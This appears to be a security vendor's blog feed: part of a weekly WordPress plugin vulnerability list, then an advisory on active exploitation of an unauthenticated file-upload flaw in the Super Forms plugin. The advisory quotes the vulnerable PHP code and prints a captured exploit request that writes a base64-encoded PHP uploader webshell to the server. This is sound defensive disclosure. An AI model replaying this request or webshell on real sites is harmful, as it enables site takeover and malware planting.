GeotargetingWP [geotargetingwp]

Researcher

andrew gomez

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-75798

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

AI Engine – The Chatbot, AI Framework & MCP for WordPress [ai-engine]

Researcher

Abdullah Kareem

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-78258

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Researcher

Bao

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-14216

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Booking for Appointments and Events Calendar – Amelia [ameliabooking]

Researcher

Manuel Martínez Casasola

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-16986

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Booking Package [booking-package]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-79706

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Breeze Cache [breeze]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-19430

Patch Status

Patched

Published
Aug 29, 2026

Affected Software

Catfolders Document Gallery Pro [catfolders-document-gallery-pro]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-13414

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

CMP – Coming Soon & Maintenance Plugin by NiteoThemes [cmp-coming-soon-maintenance]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-16575

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy [dokan-lite]

Researcher

Usama Arshad

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-81777

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Essential Addons for Elementor – Popular Elementor Templates & Widgets [essential-addons-for-elementor-lite]

Researcher

Gaurav popalghat

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-77694

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce [wp-event-solution]

Researcher

Nir Yehoshua

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-13172

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce [wp-event-solution]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-10627

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Events Manager – Calendar, Bookings, Tickets, and more! [events-manager]

Researcher

molten bit

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-5096

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder with AI [everest-forms]

Researcher

h0xilo

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-16612

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

FiboSearch – Ajax Search for WooCommerce [ajax-search-for-woocommerce]

Researcher

Duy Tran

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-81296

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Fluent Forms Pro Add On Pack [fluentformpro]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-82220

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Forminator Forms – Contact Form, Payment Form & Custom Form Builder [forminator]

Researcher

Ahmed Hassan

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-77007

Patch Status

Unpatched

Published
Aug 29, 2026

Affected Software

HEL Online Classroom: AI-powered Online Classrooms [hel-online-classroom]

Researcher

kimsunghoon

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-81276

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Kali Forms — Contact Form & Drag-and-Drop Builder [kali-forms]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-77754

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Kirki – Freeform Page Builder, Website Builder & Customizer [kirki]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-13611

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

KiviCare – Clinic & Patient Management System (EHR) [kivicare-clinic-management-system]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-78125

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

LearnPress – Sepay Payment [learnpress-sepay-payment]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-81026

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

MasterStudy LMS WordPress Plugin – for Online Courses and Education [masterstudy-lms-learning-management-system]

Researcher

Abdullah Kareem

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-27330

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

Mobile App for WooCommerce: ShopApper Mobile App Builder Service for WooCommerce [mobile-app-for-woocommerce]

Researcher

Phat RiO

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-17587

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

My Agile Privacy® – CMP, Cookie Consent & Privacy Tools [myagileprivacy]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-13736

Patch Status

Unpatched

Published
Aug 24, 2026

Affected Software

NewPath WildApricotPress Add-on – Member Directory [newpath-wildapricotpress-add-on-member-directory]

Researcher

Huynh Kien Minh

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-17520

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Newsletters [newsletters-lite]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-17559

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Passster – Password Protect Pages and Content [content-protector]

Researcher

Points Management System For Gamification, Ranks, Badges, and Loyalty Rewards Program – myCred [mycred]

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-15150

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-16984

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Privacy Policy Generator, Terms & Conditions, GDPR, CCPA, Cookie Policy & Disclaimer Templates – WPLP Legal Pages [wplegalpages]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-74928

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Project Manager – AI Powered Project Management, Task Management, Kanban Board & Time Tracker [wedevs-project-manager]

Researcher

Usama Arshad

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-78291

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

RepairBuddy – Repair Shop CRM & Booking Plugin for WordPress [computer-repair-shop]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-77695

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Return Refund and Exchange For WooCommerce [woo-refund-and-exchange-lite]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-13406

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Royal Addons for Elementor – Addons and Templates Kit for Elementor [royal-elementor-addons]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-13404

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Royal Addons for Elementor – Addons and Templates Kit for Elementor [royal-elementor-addons]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-82228

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Security Optimizer – The All-In-One Protection Plugin [sg-security]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-12514

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Shared Files – File Upload & Download Manager [shared-files]

Shared Files Pro [shared-files-pro]

Researcher

hoangphuong

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-78146

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Simple Newsletter Plugin – Noptin [newsletter-optin-box]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-81767

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Simple Payment [simple-payment]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-78137

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

StoreGrowth – Upsell, BOGO, Quick View, Direct Checkout & Side Cart for WooCommerce [storegrowth-sales-booster]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-77758

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Stripe Payment Forms by WP Full Pay – Accept Credit Card Payments, Donations & Subscriptions [wp-full-stripe-free]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-77789

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Stripe Payment Forms by WP Full Pay – Accept Credit Card Payments, Donations & Subscriptions [wp-full-stripe-free]

Researcher

Charles Vosburgh

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-80311

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Stripe Payment Forms by WP Full Pay – Accept Credit Card Payments, Donations & Subscriptions [wp-full-stripe-free]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-16962

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Tamara Checkout [tamara-checkout]

Researcher

Ezekiel Victor

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-14567

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

User Frontend – Membership, User Registration, User Profile, User Directory & Content Restriction with Frontend Post Submission [wp-user-frontend]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-77701

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

WCFM Marketplace – Multivendor Marketplace for WooCommerce [wc-multivendor-marketplace]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-3235

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

WP Data Access – App Builder for Tables, Forms, Charts, Maps & Dashboards [wp-data-access]

Researcher

type5afe

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-19715

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

WP OAuth Server ( Login with WordPress ) [miniorange-oauth-20-server]

Researcher

CVSS Rating
5.3 (Medium)

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

WP Rocket [wp-rocket]

Researcher(s): Unknown

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-14550

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

WPCafe – Restaurant Menu, Online Food Ordering & Table Booking System [wp-cafe]

Researcher

ABIODUN VICTOR TAIWO

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-19454

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

JetBackup – Backup, Restore & Migrate [backup]

Researcher

Akshat Parikh

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-14601

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Link Whisper Free [link-whisper]

Researcher

huytqtq

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-77824

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Media Sweep – WordPress Media Cleaner [media-sweep]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-77790

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login [custom-registration-form-builder-with-submission-manager]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-80488

Patch Status

Patched

Published
Aug 29, 2026

Affected Software

WP Ultimate CSV Importer – WordPress CSV, XML & Excel Import [wp-ultimate-csv-importer]

Researcher

Jaan Buerms

CVSS Rating
4.7 (Medium)

CVE-ID

CVE-2026-75796

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

AI Engine – The Chatbot, AI Framework & MCP for WordPress [ai-engine]

Researcher

Charles Vosburgh

CVSS Rating
4.7 (Medium)

CVE-ID

CVE-2026-13415

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

CMP – Coming Soon & Maintenance Plugin by NiteoThemes [cmp-coming-soon-maintenance]

Researcher

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2026-13416

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

CMP – Coming Soon & Maintenance Plugin by NiteoThemes [cmp-coming-soon-maintenance]

Researcher

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2026-14325

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Drag and Drop Multiple File Upload for Contact Form 7 [drag-and-drop-multiple-file-upload-contact-form-7]

Researcher

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2026-75982

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

LearnPress – WordPress LMS Plugin for Create and Sell Online Courses [learnpress]

Researcher

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2026-78364

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

MW WP Form [mw-wp-form]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-81284

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Advanced Custom Fields: Extended [acf-extended]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-19801

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

BetterLinks – Link Shortener, Link Cloaking, Redirects, Affiliate Link Manager & MCP [betterlinks]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-81762

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-77704

Patch Status

Patched

Published
Aug 29, 2026

Affected Software

Booking for Appointments and Events Calendar – Amelia [ameliabooking]

Researcher

Louise

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-77003

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Content Mask [content-mask]

Researchers

Pablo González

Fran Ramírez

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-77757

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Directorist: AI-Powered Business Directory, Listings & Classified Ads [directorist]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-81274

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Ditty – Responsive News Tickers, Sliders, and Lists [ditty-news-ticker]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-16577

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy [dokan-lite]

Researcher

Bhaveshkumar Parmar

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-19435

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Duplicate Post [copy-delete-posts]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-19085

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Duplicate Post [copy-delete-posts]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-81759

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Event Booking Manager for WooCommerce – Sell Tickets, Event Registration, RSVP & Event Calendar [mage-eventpress]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-81761

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Event Booking Manager for WooCommerce – Sell Tickets, Event Registration, RSVP & Event Calendar [mage-eventpress]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-78138

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Finale Lite – Sales Countdown Timer & Discount for WooCommerce [finale-woocommerce-sales-countdown-timer-discount]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-78278

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Fluent Boards Pro [fluent-boards-pro]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-78279

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Fluent Support Pro [fluent-support-pro]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-78272

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Fluent Support Pro [fluent-support-pro]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-81273

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Fluent Booking Pro [fluent-booking-pro]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-81346

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Frontend Admin by DynamiApps [acf-frontend-form-element]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-75930

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

FundEngine – Donation and Crowdfunding Platform [wp-fundraising-donation]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-81271

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

GeoDirectory – WP Business Directory Plugin and Classified Listings Directory [geodirectory]

Researcher

Brian Willows

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-78280

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Hash Form – Drag & Drop Form Builder [hash-form]

Researcher

sanghyeok Kim

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-15046

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

LitExtension – Automated Store Migration & Import [litextension-data-migration-to-woocommerce]

Researcher

marim00

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-81200

Patch Status

Patched

Published
Aug 29, 2026

Affected Software

MasterStudy LMS WordPress Plugin – for Online Courses and Education [masterstudy-lms-learning-management-system]

Researcher

TruongLV1 From FPT Night Wolf

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-16568

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Mobile App for WooCommerce: ShopApper Mobile App Builder Service for WooCommerce [mobile-app-for-woocommerce]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-16569

Patch Status

Unpatched

Published
Aug 25, 2026

Affected Software

Mobile App for WooCommerce: ShopApper Mobile App Builder Service for WooCommerce [mobile-app-for-woocommerce]

Researcher

TruongLV1 From FPT Night Wolf

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-18233

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

MStore API – Create Native Android & iOS Apps On The Cloud [mstore-api]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-17522

Patch Status

Patched

Published
Aug 29, 2026

Affected Software

Newsletters [newsletters-lite]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-75908

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Newsletters [newsletters-lite]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-78139

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Notifima – WooCommerce Stock Manager, Inventory Management, Waitlist [woocommerce-product-stock-alert]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-81758

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

OwnerRez [ownerrez]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-74929

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Project Manager – AI Powered Project Management, Task Management, Kanban Board & Time Tracker [wedevs-project-manager]

Researcher

Pedro Pinho

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-74930

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Project Manager – AI Powered Project Management, Task Management, Kanban Board & Time Tracker [wedevs-project-manager]

Researcher

Usama Arshad

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-81279

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Push Notification for Post and BuddyPress [push-notification-for-post-and-buddypress]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-79615

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Quiz and Survey Master (QSM) – Quiz Maker & Survey Maker [quiz-master-next]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-80433

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

SureFeedback Client Site [projecthuddle-child-site]

Researcher

doyz

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-76549

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

UpdraftPlus: WP Backup & Migration Plugin [updraftplus]

Researcher

Jashid Sany

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-79995

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder [user-registration]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-10630

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

WP Courses LMS – Online Courses Builder, eLearning Courses, Courses Solution, Education Courses [wp-courses]

Researcher

Vapour

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-81299

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

WP Job Portal – AI-Powered Recruitment System for Company or Job Board website [wp-job-portal]

Researcher

Md Mehedi Hasan

CVSS Rating
2.7 (Low)

CVE-ID

CVE-2026-81272

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Fluent Player Pro [fluent-player-pro]

Researcher

CVSS Rating
2.7 (Low)

CVE-ID

CVE-2026-77786

Patch Status

Patched

Published
Aug 29, 2026

Affected Software

Rank Math SEO – AI SEO Tools to Dominate SEO Rankings [seo-by-rank-math]

Researcher

Mohammed Abd Alrahman

As a reminder, Wordfence has curated an industry leading vulnerability database with all known WordPress core, theme, and plugin vulnerabilities known as Wordfence Intelligence.

This database is continuously updated, maintained, and populated by Wordfence’s highly credentialed and experienced vulnerability researchers through in-house vulnerability research, vulnerability researchers submitting directly to us through our Bug Bounty Program, and by monitoring varying sources to capture all publicly available WordPress vulnerability information and adding additional context where we can.

Click here to sign-up for our mailing list to receive weekly vulnerability reports like this and important WordPress Security reports in your inbox the moment they are published.

The post Wordfence Intelligence Weekly WordPress Vulnerability Report (August 24, 2026 to August 30, 2026) appeared first on Wordfence.

Attackers Actively Exploiting Critical Vulnerability in Super Forms Plugin

Simon Browning — Thu, 03 Sep 2026 19:39:46 +0000

On July 9th, 2026, we publicly disclosed a critical Unauthenticated Arbitrary File Upload vulnerability in Super Forms, a WordPress plugin with an estimated 13,000 active installations. This vulnerability can be leveraged by unauthenticated attackers to upload arbitrary files, including PHP backdoors, and achieve remote code execution. The vendor released the fully patched version on July 8th, 2026, and we disclosed this vulnerability in the Wordfence Intelligence vulnerability database on July 9th, 2026. Our records indicate that attackers started exploiting the issue on July 14th, 2026, the same day we released the firewall rule. The Wordfence Firewall has already blocked over 250,000 exploit attempts targeting this vulnerability.

Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against known exploits targeting this vulnerability in Super Forms on July 14, 2026. Sites using the free version of Wordfence received the same protection 30 days later on August 13, 2026.

Considering this vulnerability is being actively exploited, we urge users to ensure their sites are updated with the latest patched version of Super Forms, version 6.3.314 at the time of this writing, as soon as possible.

Vulnerability Summary from Wordfence Intelligence

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-14894

Affected Version(s)
<= 6.3.313

Patched Version
6.3.314

Bounty
$33.00

Affected Software

Super Forms – Drag & Drop Form Builder [super-forms]

Researcher

andrea bocchetti

The Super Forms – Drag & Drop Form Builder plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 6.3.313 via the submit_form function. This is due to missing file type validation and the absence of any capability check on the submit_form nopriv AJAX handler, whose only barrier is a session nonce freely obtainable by unauthenticated visitors via a separate nopriv endpoint. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible. The nonce requirement is trivially bypassed because the super_create_nonce nopriv AJAX action allows any unauthenticated visitor to mint a valid sf_nonce and session cookie in a single prior request, reducing exploitation to two unauthenticated HTTP requests.

Vulnerability Details

Super Forms is a drag-and-drop form builder plugin for WordPress that supports file upload fields. Form submissions, including uploaded files, are handled by the submit_form() function in the SUPER_Ajax class, which is reachable by unauthenticated visitors.

Examining the code reveals that, when processing a field of type files that contains a datauristring value, the plugin base64-decodes the attacker-supplied content and writes it to disk. The destination filename is taken from an attacker-controlled value and concatenated directly onto the upload directory path before the file is written:

if(isset($value['datauristring'])){
    try {
        $imgData = str_replace( ' ', '+', $value['datauristring']);
        unset($value['datauristring']);
        $imgData =  substr( $imgData, strpos( $imgData, "," )+1 );
        $imgData = base64_decode( $imgData );
        unset($GLOBALS['super_upload_dir']);
        add_filter( 'upload_dir', array( 'SUPER_Forms', 'filter_upload_dir' ));
        if(empty($GLOBALS['super_upload_dir'])){
            // upload directory is altered by filter: SUPER_Forms::filter_upload_dir()
            $GLOBALS['super_upload_dir'] = wp_upload_dir();
        }
        $d = $GLOBALS['super_upload_dir'];
        $value['value'] = SUPER_Common::email_tags( $value['value'], $data, $settings );
        $value['label'] = SUPER_Common::email_tags( $value['label'], $data, $settings );
        $basename = $value['value'];
        $filename = trailingslashit($d['path']) . $basename;
        $file = fopen($filename, 'w');
        fwrite($file, $imgData);
        fclose($file);

The plugin does not validate the file type or extension. As a result, an unauthenticated attacker can supply a filename with a .php extension, and optionally path traversal sequences, causing the decoded bytes to be written as an executable PHP file to a location of the attacker’s choosing on the server.

This makes it possible for unauthenticated attackers to write a PHP webshell to the site and execute arbitrary code, which can be leveraged to create administrator accounts, exfiltrate data, or take complete control of the site.

A Closer Look at the Attack Data

The following data highlights actual exploit attempts from threat actors targeting this vulnerability. The attacker submits a crafted payload to the super_submit_form endpoint containing a file field with a base64-encoded PHP payload and an attacker-controlled filename.

Example attack request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [redacted]
X-Real-Ip: 103.168.146.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded

action=super_submit_form&form_id=2&sf_nonce=04c3aa2046&data={"sf_upload_field": {"type": "files", "files": [{"datauristring": "data:image/gif;base64,PD9waHAgaWYoaXNzZXQoJF9GSUxFU1siZmlsZSJdKSl7JHRhcmdldD1iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkdGFyZ2V0KSl7ZWNobyLinIUgVXBsb2FkZWQ6IDxhIGhyZWY9JyR0YXJnZXQnPiR0YXJnZXQ8L2E+Ijt9ZWxzZXtlY2hvIuKdjCBVcGxvYWQgZmFpbGVkISI7fWV4aXQ7fT8+PCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PHRpdGxlPk11c2hyMDB3IFVwbG9hZGVyPC90aXRsZT48L2hlYWQ+PGJvZHkgc3R5bGU9ImJhY2tncm91bmQ6IzBhMGEwYTtjb2xvcjojMDBmZjAwO2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTtkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OmNlbnRlcjthbGlnbi1pdGVtczpjZW50ZXI7aGVpZ2h0OjEwMHZoO21hcmdpbjowOyI+PGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBzdHlsZT0iYmFja2dyb3VuZDojMTExO3BhZGRpbmc6NDBweDtib3JkZXI6MnB4IHNvbGlkICMwMGZmMDA7Ym9yZGVyLXJhZGl1czoxMHB4O3RleHQtYWxpZ246Y2VudGVyOyI+PGgyPvCfk6QgVVBMT0FEPC9oMj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgcmVxdWlyZWQgc3R5bGU9ImJhY2tncm91bmQ6IzBhMGEwYTtjb2xvcjojMDBmZjAwO2JvcmRlcjoxcHggc29saWQgIzAwZmYwMDtwYWRkaW5nOjEwcHg7Ym9yZGVyLXJhZGl1czo1cHg7Ij48YnI+PGJyPjxidXR0b24gdHlwZT0ic3VibWl0IiBzdHlsZT0iYmFja2dyb3VuZDojMDBmZjAwO2NvbG9yOiMwYTBhMGE7cGFkZGluZzoxMHB4IDMwcHg7Ym9yZGVyOm5vbmU7Ym9yZGVyLXJhZGl1czo1cHg7Zm9udC13ZWlnaHQ6Ym9sZDtjdXJzb3I6cG9pbnRlcjsiPuKshiBVcGxvYWQ8L2J1dHRvbj48L2Zvcm0+PC9ib2R5PjwvaHRtbD4=", "value": "Mushr00w_upl.php", "name": "Mushr00w_upl.php", "label": "attachment"}]}}

In the request above, the attacker submits a file field whose datauristring carries a base64-encoded payload prefixed with a data:image/gif;base64 content type. The declared image content type is not verified against the actual contents, which are a PHP file-uploader webshell, and the value and name fields set the destination filename to Mushr00w_upl.php. Because the vulnerable version of Super Forms does not validate the file type or sanitize the filename before writing the file, the decoded payload is written to the filesystem as an executable PHP file. The attacker can then request the file directly to run the webshell, which provides a browser-based interface for uploading further malicious files to the site.

The contents of the decoded Mushr00w_upl.php will be a compact, AI-generated uploader:

$target";}else{echo"❌ Upload failed!";}exit;}?>Mushr00w Uploader📤 UPLOAD

This first stage dropper is utilized to upload further malware to the site. It has the Mushr00w branding used by a hacker group that recently defaced the website of Malaysia’s Health Ministry through a Joomla content editor extension vulnerability (CVE-2026-48907). This does not necessarily mean the group is involved in the creation of this uploader as hacker attributions can be swapped out easily.

Once such an uploader is successfully placed on a website, it can be used to upload further shells, spam files, phishing kits and other malicious code.

Wordfence Firewall

The following graphic demonstrates the steps to exploitation an attacker might take and at which point the Wordfence firewall would block an attacker from successfully exploiting the vulnerability.

Total Number of Exploits Blocked

